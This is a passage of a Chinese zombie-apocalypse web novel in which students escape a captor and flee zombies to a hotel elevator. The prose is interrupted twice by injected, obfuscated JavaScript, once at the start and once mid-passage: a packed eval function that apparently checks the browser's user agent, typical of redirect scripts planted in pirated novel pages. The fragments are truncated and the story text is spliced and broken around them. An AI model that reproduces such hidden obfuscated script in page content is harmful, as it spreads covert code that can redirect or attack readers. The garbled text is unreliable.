0=7.0.6();b(/a|9|1|2|5|4|3|c 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但陈灵没有跑，勒住她脖子的手松了，窒息感觉还没散，她头晕目眩，但仇恨让她拽住身后那人的衣服，不让他跑。 许久未咀嚼的嘴死死咬住眼前的肉，拼尽全力，也许是胳膊，也许是手。 弄死他。 陈灵脑子里只剩这一个想法。 陈宇身后的那个人也是这样想的。 她太久没吃东西了，拔刀的那一刻甚至在颤抖。 身边被敌人环绕，谁也知道她哪来的胆量趁着黑暗混进来。 她左胳膊上有一道很长的疤，是被陈宇打出来的。 她身上的衣服湿了又干，干了又湿，水灾后，她靠下水捞东西活下来。 她说了，如果自己活下来，一定会去救陈灵。 杜梦雨砍向身前的人。 她周围，听信陈宇的人操着棍棒慌乱打下来。 可杜梦雨没有逃走。 被挟持的时候她就知道了，棍棒能打疼人，但打不死。 但她手里的刀，一定会把陈宇杀死！ 41.“丧尸来了！” 开始，陈宇还在奋力挣扎，手上传来的剧痛让腿迸发出巨大的力量，膝盖一下下撞在陈灵的身上。 可陈灵像赖皮糖黏在他身上，无论打骂，不管伤痛。 他这样那样，怎么都挣脱不开， 于是刀从后面插进他身体里，慢慢的，一点一点捅进去，和他学的张奇伟恐吓别人的手段一样。 不过这回不是恐吓。 起初，棍棒还着急的落在杜梦雨身上。 但大家都是普通人，下手没有准头，怕无伤了陈宇，于是反击的手就有了迟疑。 等陈宇真的露出脆弱的一面后，棍棒“啪”一声落在地上，那些人连连后退，拿出最快的速度向楼下跑去。 棍也扔了，曾经争抢的钢管也不要了，逃！逃！ 身体完全被求生欲支配，甚至有人直接翻栏杆跳楼梯，看到倒在地上的丧尸也只是迟疑半秒就咬牙跨过去。 跨过去后，正逃亡的寸头男生似乎用余光看到丧尸站起来了。 他无法控制自己的眼睛，回头看了一眼。 魂就此飞了起来。 丧尸进化了！甚至会摆动胳膊奔跑上楼！ “丧尸，丧尸！”寸头男连滚带爬的下了楼，哭着喊着去 “丧尸！”一道声音和他重合。 紧接着，是更尖锐的叫喊，以及更狂暴糟乱的动静。 寸头男仓促回头看了一眼确定没有追兵后，才迟疑的停下，不敢再走。扶手在晃，楼下似乎什么东西冲了上来。 他先是看到了一个人头，是先前跨越扶手抢先下楼的那个同伴。 同伴玩命的奔跑，整张脸狰狞到没了人样。他跑的很快，但很快被身后的东西拽住。 他看到了一张血盆大口！ 刺鼻的腥臭比丧尸先一步冲了上来，入侵身体的各个细胞，寸头男再也无法控制自己的四肢，瘫软在地。 模糊的视线中，他看到涌动的黑影漫上来…… “丧尸来了！” 当满身血污的阮青舒冲上七楼时，大家都以为丧尸来了。 可这个丧尸还会喊：“丧尸来了！” 她衣服破烂，鞋跑掉了一只，身上脸上全是腥臭的血。指甲又尖又长，仔细看似乎还闪着亮光。 同样闪着光的还有她的眼睛。 被血粘成一簇一簇的睫毛下，大滴的泪珠成串落下来，她咬着牙，有些哽咽。 阮青舒没时间解释，她冲去来拽每一个人：“快，快去八楼！” “丧尸在乱窜，很多！根本不知道去了哪些楼层，我们去八楼坐酒店电梯，赶紧！快！” 她几乎要疯了，拼命把能看到的每个同伴往外推，自己不断往里走。 距离她最远的姜杞下意识朝她跑去。仅半步她就推了回来，开始像阮青书一样拽着所有人往外跑。 “快走，能跑就去八楼坐电梯，跑不了就反锁楼梯间的门！” 反应过来后，众人根本不需要拽着走，朝着楼梯间的方向狂奔。 陈灵在侯源林后背上挣扎，可最终还是没开口。 阮青舒认出她了，朝她大喊：“六楼的人已经救出来了，现在在酒店门口！” 获救了，终于获救了。 竟然真的有人来救她们。 长久绷紧神经的陈灵终于卸下最后一口气，慢慢的，头垂在了侯源林背上。 阮青舒走在最后，她看起来已经筋疲力尽了，甚至有些摇晃。 她看到有人影冲过来，含糊道：“别，别管我。” 李穗骂了一声。 阮青舒没有听清她骂的是什么，天有点黑，她有点累了。 再睁开眼，已经在丁宁的背上了。 同伴们接力背着她跑。 耳边还隐约传来巨大的撞击声，后来她才知道，是姜杞等人为了拖延时间，把舞蹈室的移动桌子推到了楼道里。 丁宁把她背在身后，阮青舒隐约看到了身后追来的丧尸，她想说，放下我。 丧尸，丧尸是我放出来的。 她不知道自己有没有说出口，总之丁宁没把她放下。 李穗在她身边擦脸而过，带着拳套的手，生生将即将咬伤她身上的丧尸掰倒在地上，紧接着冲来的朱妙妙一钻头戳了下去。 似乎不断有人过来帮忙。 一层楼的台阶怎么这么长。 怎么还没有到八楼。 “咔嚓——” 视线黑了。 “阮青舒？醒醒，醒醒。” 一只手轻轻地拍在她脸上，阮青舒模糊的喊了声：“妈妈？” 朱妙妙及时按住李穗想犯贱的嘴。 但另一边的姜杞幽幽开口：“我在呢。” 这种犯贱在宿舍里是常有的，但一开口，姜杞鼻尖忽然开始发酸，脸皱了起来。 可她们没有感性的时间。 人太多，只能分两拨坐电梯。 第二拨电梯已经来了。 学姐继续背起阮青舒，挤进电梯后，扶墙站立的阮青舒才勉强积攒了些许力气。 她说：“全部楼层都按了电梯，我守着电梯也没了作用，又怕被人发现……”她咳了其起来，喘了两下才继续道：“正好有丧尸倒在地上，我脱了丧尸的衣服，身上抹了血，假装成丧尸躺在地上。” 李穗好奇的碰了一下她的长指甲，姜杞嫌弃的让她先把脏衣服脱下来。 阮青舒已经没有力气反击了，她用仇视的目光瞪着两人。 “那些人在二楼看水退到哪里了，但下面是地库出口，存水。他们不敢跳，只能到乱逛想办法。” “趁着他们不注意，我从楼梯间跑了。” “看微信群，你们注意力都在七楼上，我就偷偷去了六楼看了眼，把人放了出来。” 电梯开了。 李穗扶着阮青舒缓缓站起来，没走两步就嫌慢，招呼着姜杞背着人走。 经过这些天被动的锻炼，姜杞身上也隐约有了点肌肉线条，她咬着牙背起来身形高挑的阮青舒，才发现她这么重。 “后来呢？” 朱妙妙想帮姜杞转移一下注意力，她问阮青舒：“你怎么发现丧尸的？” 阮青舒轻描淡写道：“六楼的姐妹们太久没吃东西了，帮不上忙，就让她们先走了。” “刚把她们送走，二楼那伙人就发现了我。” “对面有四个人。”她的声音很轻，似乎是回忆化作一层纱缓缓落下，将整个人罩在里面。 那是在五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更往后，酒店大厅里，正准备打招呼，但因为大家似乎在说很重要的事情所以没打断的六楼幸存者们：…… 还没走多远，车开了过来，停在姜杞等人面前。 张梦娴落下车窗呼喊：“原来你们在这，怎么还带了这么多东西？” 姜杞意识到这不是在跟她们说话。 几人僵硬回头。 丁宁尴尬多躲开，露出正提着大包小包几个女生。她们身上套了很多层衣服，衣服兜里都塞得满满登登，行李箱背包塑料袋，每个人都像圣诞树一样挂满了东西。 有酒店的洗护用品，成瓶的放在袋子里，再用小样填满空隙。 零食小饼干茶叶一兜又一兜，还有几包干货坚果午餐肉罐头，看上去是酒店早餐自助里面的。 维修的工具箱有两个，打火机装了满满一塑料袋！ 甚至嘴里都塞满了。 孙佳册不舍得嘴里的糖，含糊开口道：“我们战斗上帮不上什么忙，心里也挺着急，不愿意在楼下干等着。” “就收集物资去了。”